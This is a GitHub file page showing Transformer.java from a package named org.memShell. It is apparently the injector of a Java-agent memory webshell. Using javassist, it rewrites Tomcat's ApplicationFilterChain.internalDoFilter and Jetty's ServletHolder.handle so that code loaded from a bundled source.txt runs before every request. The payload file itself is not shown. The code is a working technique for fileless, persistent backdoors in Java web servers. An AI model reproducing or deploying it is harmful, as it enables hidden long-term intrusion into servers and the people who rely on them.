-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathTransformer.java
More file actions
74 lines (70 loc) · 2.6 KB
/
Transformer.java
File metadata and controls
74 lines (70 loc) · 2.6 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
package org.memShell;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
public class Transformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader classLoader, String s, Class<?> aClass,
ProtectionDomain protectionDomain, byte[] bytes) throws IllegalClassFormatException {
if ("org/apache/catalina/core/ApplicationFilterChain".equals(s)) {
try {
ClassPool cp = ClassPool.getDefault();
if (aClass != null) {
ClassClassPath classPath = new ClassClassPath(aClass);
cp.insertClassPath(classPath);
}
CtClass cc = cp.get("org.apache.catalina.core.ApplicationFilterChain");
CtMethod m = cc.getDeclaredMethod("internalDoFilter");
m.addLocalVariable("elapsedTime", CtClass.longType);
m.insertBefore(readSource());
byte[] byteCode = cc.toBytecode();
cc.detach();
return byteCode;
} catch (Exception ex) {
ex.printStackTrace();
System.out.println("error:::::" + ex.getMessage());
}
} else if ("org/eclipse/jetty/servlet/ServletHolder".equals(s)) {
try {
ClassPool cp = ClassPool.getDefault();
if (aClass != null) {
ClassClassPath classPath = new ClassClassPath(aClass);
cp.insertClassPath(classPath);
}
CtClass cc = cp.get("org.eclipse.jetty.servlet.ServletHolder");
CtMethod m = cc.getDeclaredMethod("handle");
m.addLocalVariable("elapsedTime", CtClass.longType);
m.insertBefore(readSource());
byte[] byteCode = cc.toBytecode();
cc.detach();
return byteCode;
} catch (Exception e) {
e.printStackTrace();
System.out.println("error:::::" + e.getMessage());
}
}
return null;
}
public String readSource() {
StringBuilder source = new StringBuilder();
InputStream is = Transformer.class.getClassLoader().getResourceAsStream("source.txt");
InputStreamReader isr = new InputStreamReader(is);
String line = null;
try {
BufferedReader br = new BufferedReader(isr);
while ((line = br.readLine()) != null) {
source.append(line);
}
} catch (Exception e) {
e.printStackTrace();
}
return source.toString();
}
}